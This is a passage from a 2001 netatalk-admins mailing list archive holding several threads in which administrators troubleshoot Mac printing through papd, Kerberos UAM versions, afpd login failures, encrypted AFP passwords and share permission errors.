	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA13567
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 04:11:55 -0500 (EST)
Received: from abductee.12inch.com (smtp.visusmedia.com [38.241.102.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA13549
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 04:11:54 -0500 (EST)
Received: from [192.168.200.10] (sc-24-165-68-116.socal.rr.com [24.165.68.116])
	by abductee.12inch.com (8.9.3/8.8.7) with ESMTP id BAA10477;
	Tue, 20 Mar 2001 01:18:39 -0800
Mime-Version: 1.0
X-Mailer: Macintosh Eudora Pro Version 4.2.1-J
Message-Id: <v04210a04b6dccd11cce3@[192.168.200.10]>
In-Reply-To: <Pine.BSF.4.30.0103200326510.48279-100000@amse.pair.com>
References: <Pine.BSF.4.30.0103200326510.48279-100000@amse.pair.com>
Date: Tue, 20 Mar 2001 01:10:38 -0800
To: "j.g. ungar" <jungar@daemondia.com>, <netatalk-admins@umich.edu>
From: alan premselaar <alien@12inch.com>
Subject: Re: postscript error printing to network PCL laserjet
Content-Type: text/plain; charset="iso-2022-jp" ; format="flowed"
Content-Transfer-Encoding: 7bit

Just a couple of ideas.

first, are you *SURE* that your RH printtool is sending postscript to the 
printer?  the printer isn't postscript capable, so that would mean that 
your Edimax PrintSir (which i'm not familiar with) would have to know how 
to translate postscript into HPCL.

secondly, the error messages you're seeing with regards to the .ppd files, 
are basically saying you don't have a PPD file defined.  You'd want your 
papd.conf to look similar to:

ophelia:\
	:pr=lp:pd=<path to .ppd files>:

(my setup is pd=/usr/lib/atalk/ppds/<ppdfilename>)


thirdly, the error messages with regards to the lock file makes me think 
that your /etc/printcap file isn't configured properly.  even though you're 
sending the jobs to a remote printer, you should probably still define a 
spool directory for your lp: definition in /etc/printcap (to be on the safe 
side and to create lock files in)
you'll also want to setup any postscript filters in your /etc/printcap file 
as well.

lastly, and most importantly, if your RH printtool is NOT sending 
postscript, and you don't *actually* have a postscript interpreter 
somewhere between your mac and your printer,  it just won't work.

hope this is helpful

alan

At 3:34$B8aA0(B -0500 3.20.01, j.g. ungar wrote:
>I've got netatalk 1.5pre5 built from source on my RH7 (well, it started
>out as a RH7 machine, now kernel 2.4.2) box working nicely, except for
>printing from my mac (OS 9.04 box).
>
>The printer is an HP LaserJet 6L (non-postscript) with an Edimax PrintSir
>Plus (PS-900+) 'pocket size' print server attached. The Linux machine
>prints just fine to this server via LPR, including PostScript (well, the
>RH printtool test page works fine anyway).
>
>My papd.conf is pretty minimal:
>
>ophelia:\
>	:pr=lp:
>
>
>Unfortunately I can't print anything from the Mac. Syslog shows:
>
>Mar 20 00:25:09 anubis papd[19861]: child 20140 for "ophelia" from
>65345.119
>Mar 20 00:25:09 anubis papd[20140]: read_ppd .ppd: No such file or
>directory
>Mar 20 00:25:10 anubis papd[20140]: lp_init: lock: No such file or
>directory
>Mar 20 00:25:10 anubis papd[20140]: lp_open failed
>Mar 20 00:25:10 anubis papd[19861]: child 20140 done
>
>
>Hmmm.  I'm not sure how to proceed in trying to get this working. At one
>time I was able to print to this printer from the mac, using Netatalk, but
>the printer was attached to the PC's parallel port, not on the network
>with a print server as it is now.
>
>Any suggestions ?
>
>
>
>Thanks -
>
>
>jonathan ungar

----
  there's nothing like the undying sense of reliability provided by modern 
technology.
----
alan premselaar
alien@12inch.com
www.12inch.com

From netatalk.administrators-errors@umich.edu  Tue Mar 20 04:12:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA23793
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 04:12:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA05493
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 04:12:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA05483
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 04:12:06 -0500 (EST)
Received: from gyurma.netcity.hu (gyurma.netcity.hu [195.228.105.195])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA05437
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 04:12:03 -0500 (EST)
Received: by gyurma.netcity.hu (Postfix, from userid 502)
	id 5892AA91C; Tue, 20 Mar 2001 10:11:55 +0100 (CET)
Received: from localhost (localhost [127.0.0.1])
	by gyurma.netcity.hu (Postfix) with ESMTP
	id 4B206127E; Tue, 20 Mar 2001 10:11:55 +0100 (CET)
Date: Tue, 20 Mar 2001 10:11:55 +0100 (CET)
From: Akos Szabo <fonya@gyurma.netcity.hu>
To: "j.g. ungar" <jungar@daemondia.com>
Cc: <netatalk-admins@umich.edu>
Subject: Re: postscript error printing to network PCL laserjet
In-Reply-To: <Pine.BSF.4.30.0103200344260.48279-100000@amse.pair.com>
Message-ID: <Pine.LNX.4.33.0103201010540.1547-100000@gyurma.netcity.hu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT

On Tue, 20 Mar 2001, j.g. ungar wrote:

> > Unfortunately I can't print anything from the Mac. Syslog shows:
> and I meant to mention, the mac just says "a postscript error has
> occurred".

Do You want to print from Quarkexpress?
If I want to print from it, I must disable the binary communication, and
evrything will be fine.

-- 
Ciao:
   Fonya
	Amit a lynx nem mutat meg, azt kįr is megnézni.
	   PGP key: `finger fonya@gyurma.netcity.hu`


From netatalk.administrators-errors@umich.edu  Tue Mar 20 09:05:52 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: (from wes@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with X.500 id JAA28206
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 09:05:52 -0500 (EST)
Received: (from wes@localhost)
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with X.500 id JAA28204
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 09:05:52 -0500 (EST)
Received: from terminator.rsug.itd.umich.edu (localhost [127.0.0.1])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28195; Tue, 20 Mar 2001 09:05:47 -0500 (EST)
Message-Id: <200103201405.JAA28195@terminator.rsug.itd.umich.edu>
From: wesley.craig@umich.edu
To: sam@shadow.org
cc: netatalk-admins@umich.edu
Subject: Re: netatalk with AuthMan UAM 
In-reply-to: Your message of "Mon, 19 Mar 2001 14:44:23 PST."
             <20010319144423.A24082@shadow.org> 
Date: Tue, 20 Mar 2001 09:05:47 -0500
Sender: wes@terminator.rsug.itd.umich.edu

> From:    sam@shadow.org
> To:      netatalk-admins@terminator.rsug.itd.umich.edu

> First I tried using MIT's Kerberos4/5 client (and I'd like to eventually
> use this anyway, but for now that can wait) unsuccessfully.  Now I'm
> using the MacKerberos non-UM 2.0.4 as distributed via
> www.umich.edu/~rsug...  Using the AuthMan in 2.0.4 I can successfully
> acquire a kerberos 4 ticket but when I try to mount a netatalk volume
> via the chooser, I get an error to the effect of "Sorry, the UAM on the
> server is too old an AuthMan version".  Has anybody done any work to
> netatalk to rectify this?

Looks like you've made good progress!

The Kerberos IV server UAM that you found at sourceforge probably
doesn't match the protocol used in the most recent client UAM code.  We
made changes to both to support AFP over TCP -- Apple changed the API
to support DSI.  You can find server code that matches the most recent
client code at

    ftp://rsug.itd.umich.edu/pub/users/wes/netatalk-1.4b2+asun2.1.3um0.tar.gz

If you're interested making the most current UAM work with both AuthMan
and MIT's "Kerberos for Macintosh", we can provide you with the source
code.

Are you planning to add K5 support to the UAM and afpd?

:wes

From netatalk.administrators-errors@umich.edu  Tue Mar 20 10:33:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA00661
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 10:33:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03841
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 10:33:17 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA03794
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 10:33:16 -0500 (EST)
Received: from franc.ucdavis.edu (franc.ucdavis.edu [169.237.105.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA03773
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 10:33:15 -0500 (EST)
Received: from prometheus.mailbox.ucdavis.edu (iras-2-42.ucdavis.edu [169.237.16.170])
	by franc.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f2KFX5E02773;
	Tue, 20 Mar 2001 07:33:06 -0800 (PST)
Message-Id: <5.0.2.1.0.20010320065251.00a91980@127.0.0.1>
X-Sender: itlm019/mailbox.ucdavis.edu@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Tue, 20 Mar 2001 06:58:23 -0800
To: "j.g. ungar" <jungar@daemondia.com>, <netatalk-admins@umich.edu>
From: "Marc J. Miller" <itlm019@mailbox.ucdavis.edu>
Subject: Re: postscript error printing to network PCL laserjet
In-Reply-To: <Pine.BSF.4.30.0103200326510.48279-100000@amse.pair.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_2914120==_.ALT"

--=====================_2914120==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

We had a similar situation with the PPR print queue.  Our solution was to 
use Ghostscript as a filter and have it process the jobs using the ljet4 
filter so that it's converted to PCL.  Our LaserJet 8150DN is okay with it, 
and even allows us to control the duplexing that way (one wouldn't think 
Ghostscript would bother converting the PostScript duplexor codes into PCL, 
but it did).  I haven't worked with the netatalk printing software, but 
could you maybe set up the same sort of thing?

BTW, the 8150DN is a PostScript printer, but after talking to HP, we've 
determined that the Adobe-standard PostScript being generated by our Mac 
clients just isn't compatible enough with Hewlett-Packard's version of 
it.  That's why we're switching to PCL.

At 03:34 AM 3/20/01 -0500, j.g. ungar wrote:


>I've got netatalk 1.5pre5 built from source on my RH7 (well, it started
>out as a RH7 machine, now kernel 2.4.2) box working nicely, except for
>printing from my mac (OS 9.04 box).
>
>The printer is an HP LaserJet 6L (non-postscript) with an Edimax PrintSir
>Plus (PS-900+) 'pocket size' print server attached. The Linux machine
>prints just fine to this server via LPR, including PostScript (well, the
>RH printtool test page works fine anyway).
>
>My papd.conf is pretty minimal:
>
>ophelia:\
>         :pr=lp:
>
>
>Unfortunately I can't print anything from the Mac. Syslog shows:
>
>Mar 20 00:25:09 anubis papd[19861]: child 20140 for "ophelia" from
>65345.119
>Mar 20 00:25:09 anubis papd[20140]: read_ppd .ppd: No such file or
>directory
>Mar 20 00:25:10 anubis papd[20140]: lp_init: lock: No such file or
>directory
>Mar 20 00:25:10 anubis papd[20140]: lp_open failed
>Mar 20 00:25:10 anubis papd[19861]: child 20140 done
>
>
>Hmmm.  I'm not sure how to proceed in trying to get this working. At one
>time I was able to print to this printer from the mac, using Netatalk, but
>the printer was attached to the PC's parallel port, not on the network
>with a print server as it is now.
>
>Any suggestions ?
>
>
>
>Thanks -
>
>
>jonathan ungar

--=====================_2914120==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
We had a similar situation with the PPR print queue.&nbsp; Our solution
was to use Ghostscript as a filter and have it process the jobs using the
ljet4 filter so that it's converted to PCL.&nbsp; Our LaserJet 8150DN is
okay with it, and even allows us to control the duplexing that way (one
wouldn't think Ghostscript would bother converting the PostScript
duplexor codes into PCL, but it did).&nbsp; I haven't worked with the
netatalk printing software, but could you maybe set up the same sort of
thing?&nbsp; <br>
<br>
BTW, the 8150DN <i>is</i> a PostScript printer, but after talking to HP,
we've determined that the Adobe-standard PostScript being generated by
our Mac clients just isn't compatible enough with Hewlett-Packard's
version of it.&nbsp; That's why we're switching to PCL.  <br>
<br>
At 03:34 AM 3/20/01 -0500, j.g. ungar wrote:<br>
<br>
<br>
<blockquote type=cite class=cite cite>I've got netatalk 1.5pre5 built
from source on my RH7 (well, it started<br>
out as a RH7 machine, now kernel 2.4.2) box working nicely, except
for<br>
printing from my mac (OS 9.04 box).<br>
<br>
The printer is an HP LaserJet 6L (non-postscript) with an Edimax
PrintSir<br>
Plus (PS-900+) 'pocket size' print server attached. The Linux
machine<br>
prints just fine to this server via LPR, including PostScript (well,
the<br>
RH printtool test page works fine anyway).<br>
<br>
My papd.conf is pretty minimal:<br>
<br>
ophelia:\<br>
<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>:pr=lp:<br>
<br>
<br>
Unfortunately I can't print anything from the Mac. Syslog shows:<br>
<br>
Mar 20 00:25:09 anubis papd[19861]: child 20140 for &quot;ophelia&quot;
from<br>
65345.119<br>
Mar 20 00:25:09 anubis papd[20140]: read_ppd .ppd: No such file or<br>
directory<br>
Mar 20 00:25:10 anubis papd[20140]: lp_init: lock: No such file or<br>
directory<br>
Mar 20 00:25:10 anubis papd[20140]: lp_open failed<br>
Mar 20 00:25:10 anubis papd[19861]: child 20140 done<br>
<br>
<br>
Hmmm.&nbsp; I'm not sure how to proceed in trying to get this working. At
one<br>
time I was able to print to this printer from the mac, using Netatalk,
but<br>
the printer was attached to the PC's parallel port, not on the
network<br>
with a print server as it is now.<br>
<br>
Any suggestions ?<br>
<br>
<br>
<br>
Thanks -<br>
<br>
<br>
jonathan ungar</blockquote></html>

--=====================_2914120==_.ALT--


From netatalk.administrators-errors@umich.edu  Tue Mar 20 10:51:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01176
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 10:51:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA28399
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 10:51:09 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA28374
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 10:51:08 -0500 (EST)
Received: from igamac84.epfl.ch (igamac84.epfl.ch [128.178.179.145])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA28330
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 10:51:06 -0500 (EST)
Received: from epfl.ch (localhost [127.0.0.1])
	by igamac84.epfl.ch (8.9.3/8.9.3) with ESMTP id QAA01886
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 16:51:05 +0100
Sender: honza@igamac84.epfl.ch
Message-ID: <3AB77C67.2A7C4986@epfl.ch>
Date: Tue, 20 Mar 2001 16:51:03 +0100
From: Honza Fikar <jan.fikar@epfl.ch>
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.18 ppc)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: afpd problem with netatalk-1.5pre5
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello,

I've recently updated the netatalk package of my linux-ppc to version
1.5pre5 and I'm no more able to mount any volume from other Mac machine.
The authentication is ok (works also for guest) and then afpd exits with
127.  On the Mac side I get error message "lost connection to server".
Am I missing something?

Mar 20 16:45:51 igamac84 afpd[1874]: ASIP session:548(2) from
128.178.179.134:2048(0)
Mar 20 16:45:51 igamac84 afpd[1762]: server_child[1] 1874 done
Mar 20 16:45:57 igamac84 afpd[1875]: ASIP session:548(2) from
128.178.179.134:2049(0)
Mar 20 16:45:57 igamac84 afpd[1875]: randnum/rand2num login: honza
Mar 20 16:45:58 igamac84 afpd[1875]: login honza (uid 500, gid 500)
Mar 20 16:45:59 igamac84 afpd[1762]: server_child[1] 1875 exited 127
Mar 20 16:46:02 igamac84 afpd[1876]: ASIP session:548(2) from
128.178.179.134:2050(0)
Mar 20 16:46:02 igamac84 afpd[1762]: server_child[1] 1876 done
Mar 20 16:46:04 igamac84 afpd[1877]: ASIP session:548(2) from
128.178.179.134:2051(0)
Mar 20 16:46:04 igamac84 afpd[1877]: login noauth
Mar 20 16:46:04 igamac84 afpd[1877]: login nobody (uid 99, gid 99)
Mar 20 16:46:06 igamac84 afpd[1762]: server_child[1] 1877 exited 127


Best regards
Honza

From netatalk.administrators-errors@umich.edu  Tue Mar 20 11:15:42 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA02344
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 11:15:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03200
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 11:15:42 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA03187
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 11:15:41 -0500 (EST)
Received: from callisto.gac.edu (callisto.gac.edu [138.236.128.19])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA03136
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 11:15:40 -0500 (EST)
Received: from solen.gac.edu (root@solen.gac.edu [138.236.128.18])
	by callisto.gac.edu (8.10.1/8.10.1/1.0) with ESMTP id f2KGR5024489;
	Tue, 20 Mar 2001 10:27:05 -0600
Received: from gac.edu (Mozart.it.gac.edu [138.236.68.126])
	by solen.gac.edu (8.9.3/8.9.3/GAC-HUB-2.43) with ESMTP id KAA04419;
	Tue, 20 Mar 2001 10:17:03 -0600 (CST)
Message-ID: <3AB7826A.5E757F84@gac.edu>
Date: Tue, 20 Mar 2001 10:16:42 -0600
From: Curtis Hulett <chulett@gac.edu>
Organization: Gustavus Adolphus College
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Karen A Swanberg <swanberg@tc.umn.edu>
CC: netatalk-admins@umich.edu
Subject: Re: rand2num passwords OpenBSD 2.8
References: <Pine.SOL.4.20.0103161401330.9796-100000@garnet.tc.umn.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Have you created the afppasswd file? I was having the same problem as
you untill yesterday when I realized I might not have the correct
passwcd file. I just used 

afppasswd -c 

to create it and then changed the passwords for my test accounts. I then
had to add

 -uamlist uams_randnum.so

to the server's entry in afpd.conf to the server to use encryption.
I'm running 1.5pre5 on Redhat 6.2 and clients running OS9.


My question is: is there another way to get encryption to work? It would
be nice to have encrypted passwords, but still be able to use
/etc/shadow as the passwd file.


-Curtis


Karen A Swanberg wrote:
> 
> I've scoured the mail archives and the docs for the answer to this one, it
> should be working...
> 
> I've installed netatalk 1.4b2+asun2.1.3 on an OpenBSD 2.8
> server. Everything works except getting encrypted passwords. I've tried a
> number of things. First, my makefile did have the directory to find des.a
> and libdes.a, and compiled without errors. Is there something I need to do
> to activate DES in the OpenBSD kernel? I can't imagine the default GENERIC
> kernel doesn't have it turned on.
> 
> I had my rc.local file disabling guest as it launched afpd for awhile,
> with the -G option, but turned it off while working on this problem.
> 
> Right now my afpd.conf files says:
> 
> "server" -noguest -nocleartext -savepassword -setpassword -rand2num
> 
> AppleVolumes.default has:
> 
> ~
> /home/public    "PublicFileShare"
> 
> The macs will still let me on, but the login screen says "cleartext" and
> won't let me change or set passwords.  This is true on OS 8.1, 8.6 and
> 9.0.4.
> 
> .passwd exists in my home directory, and in /home/public, and has
> the correct permissions etc.
> 
> When I make those changes to afpd.conf, and SIGHUP afpd and atalkd, this
> turns up in /var/log/daemon:
> 
> afpd[24529] disallowing logins
> 
> But I can still log in from the macs as myself and the test account.
> 
> I just started working with Netatalk a week or so ago, so I'm still fairly
> new to it's workings.
> 
> I see references to afppasswd in the mail archives, but no such thing
> exists on my system. Is that linux only?
> 
> I think I'm missing something really simple. Anyone see it?
> 
> And, another really stupid question. I was using the precompiled
> port/package of netatalk for OpenBSD first, and had problems. So I
> compiled the one I'm using now and it works much better. But the port had
> the BSD devil icon on the share tray instead of the world, which the
> compiled version has. I'd like the BSD icon back, but when I get the copy
> on the BSD webpage, it's not transparent, and I can't get it to be
> transparent. I've tried a number of methods to make it transparent, but
> apparently I'm much more graphically challenged than I thought. I don't
> suppose someone would be willing to send me a copy of the transparent BSD
> appleshare icon?
> 
> Thanks and sincerely,
> 
> *                                                     *
> Karen Swanberg              |
> Network Admin.              | Error: Sector not found--
> Dept. of Geology/Geophysics |search behind couch? (Y/N)
> 206 Pillsbury Hall          |
> 310 Pillsbury Ave. SE       |
> University of Mn            |  Enter any 11-digit prime
> Minneapolis, MN 55455       |     number to continue...
> (612) 624-6541              |
> *                                                     *

From netatalk.administrators-errors@umich.edu  Tue Mar 20 12:57:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA05200
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 12:57:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05709
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 12:57:29 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA05701
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 12:57:28 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id MAA05685
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 12:57:27 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Tue, 20 Mar 2001 09:59:10 -0800
Message-Id: <sab729ee.070@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Tue, 20 Mar 2001 09:58:45 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <deltor@snafu.de>, <netatalk-admins@umich.edu>
Subject: Re: App copy problems (-50)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA05200

Whoops, read your first message too fast!  

That directory did not exist, and even better, the users don't have write access to the root level, so of course that was it.  After creating the .AppleDesktop directory and setting the correct permissions, it worked fine.  Thanks!!!

Bryn

>>> Carsten Neumann <deltor@snafu.de> 03/19/01 17:50 PM >>>
On Tue, 20 Mar 2001, Bryn Hughes wrote:
> The .AppleDouble directory does exist... ug+rwX.

Once more:
I wrote (and meant) ".AppleDesktop".

DESKTOP, _not_ DOUBLE!
TOP OF DESK, not TWICE OF SINGLE! ;-)

Thats the database where the location of Apps and its icons are stored for the Creators of files.

> 
> On another share, the problem seems to have been caused by the .Parent file within .AppleDouble being given execute permissions.  Taking those away fixed the problem.  
> 
> The root level of this share is read-only to everyone, will this matter?  The .AppleDouble directory has its own permissions set obviously.
> 
> Bryn
> 
> >>> Carsten Neumann <deltor@snafu.de> - 3/19/01 3:01 PM >>>
> On Mon, 19 Mar 2001, Bryn Hughes wrote:
> > I'm having problems copying 'Application' files to my YellowDog Linux 1.2 with netatalk-1.4b2+asun2.1.3.
> > 
> > Any time I try to copy an application file I get a -50 error.   My logs at that time show the following:
> > 
> > Mar 19 10:39:52 ccmf1 afpd[20189]: afp_addicon: Permission denied
> > 
> > I own this directory, I have full ownership of the .AppleDouble directory contained within it. 
> > 
> > What causes this?  This also happens on several other areas of the server.  All files other than this can be copied no problem!
> > 
> > Bryn
> 
> Who's the owner / what are the permissions of the ".AppleDesktop" dir (at top of the exported Apple Volum!)?
> Does it exist at all?
> 
> Regards
> 
> 	Carsten

Regards, again

	Carsten



From netatalk.administrators-errors@umich.edu  Tue Mar 20 13:19:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA05838
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 13:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07055
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 13:19:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA07018
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 13:19:35 -0500 (EST)
Received: from callisto.gac.edu (callisto.gac.edu [138.236.128.19])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA06974
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 13:19:33 -0500 (EST)
Received: from solen.gac.edu (root@solen.gac.edu [138.236.128.18])
	by callisto.gac.edu (8.10.1/8.10.1/1.0) with ESMTP id f2KIUx030700
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 12:30:59 -0600
Received: from gac.edu (Mozart.it.gac.edu [138.236.68.126])
	by solen.gac.edu (8.9.3/8.9.3/GAC-HUB-2.43) with ESMTP id MAA07283
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 12:20:57 -0600 (CST)
Message-ID: <3AB79F74.CC9C6EBE@gac.edu>
Date: Tue, 20 Mar 2001 12:20:36 -0600
From: Curtis Hulett <chulett@gac.edu>
Organization: Gustavus Adolphus College
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Problems copying to shares
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I am running 1.5pre5 on redhat 6.2. I have netatalk installed and users
are authenticated correctly and I can see shares. I am however having
problems with the shares. The client macs are running OS 9.0.4
the exact message the finder gives me is 

The Item "<anyfile>" cannot be written, because it is locked. Do you
want to continue?

I get this when copying from the local harddisk to the network share.
The file is NOT locked on the harddisk and this only happens when going
to a netatalk share. When I say continue a O byte file is created on the
share. An entry is also created in the .AppleDouble directory. I can
successfully create directories.

 The unix permissions are fine on the directory I'm sharing. The
permissions on the .AppleDouble directory are drwxr-xr-x The permissions
on the .AppleDouble/.Parent file are -rw-r--r-- . All the  permissions
on other files in the .AppleDouble are  ----------  I suspect this is
causeing me the problems. 

/var/log/messages has the following:

Mar 20 12:53:01 dot afpd[20411]: randnum/rand2num login: chulett
Mar 20 12:53:01 dot afpd[20411]: 0.11KB read, 0.10KB written
Mar 20 12:53:01 dot afpd[20320]: server_child[1] 20411 done
Mar 20 12:53:06 dot afpd[20415]: ASIP session:548(2) from
138.236.68.21:49156(0)
Mar 20 12:53:06 dot afpd[20415]: randnum/rand2num login: chulett
Mar 20 12:53:06 dot afpd[20415]: login chulett (uid 20040, gid 1006)
Mar 20 12:53:08 dot afpd[20415]: setdirowner: chown -1/0
.AppleDouble/.Parent: Operation not permitted
Mar 20 12:55:25 dot afpd[20415]: logout chulett
Mar 20 12:55:25 dot afpd[20415]: 6.42KB read, 21.59KB written
Mar 20 12:55:25 dot afpd[20320]: server_child[1] 20415 done

My afpd has the following:

"Guest Volume" -tcp -port 12000  -uamlist uams_guest.so -loginmesg
"Welcome guest!"
"User Volume" -tcp -uamlist uams_randnum.so

My AppleVolumes.default is very simple
~

Thanks
-Curtis

From netatalk.administrators-errors@umich.edu  Tue Mar 20 14:59:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09390
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 14:59:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04701
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 14:59:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04664
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 14:59:19 -0500 (EST)
Received: from mailout00.sul.t-online.com (mailout00.sul.t-online.com [194.25.134.16])
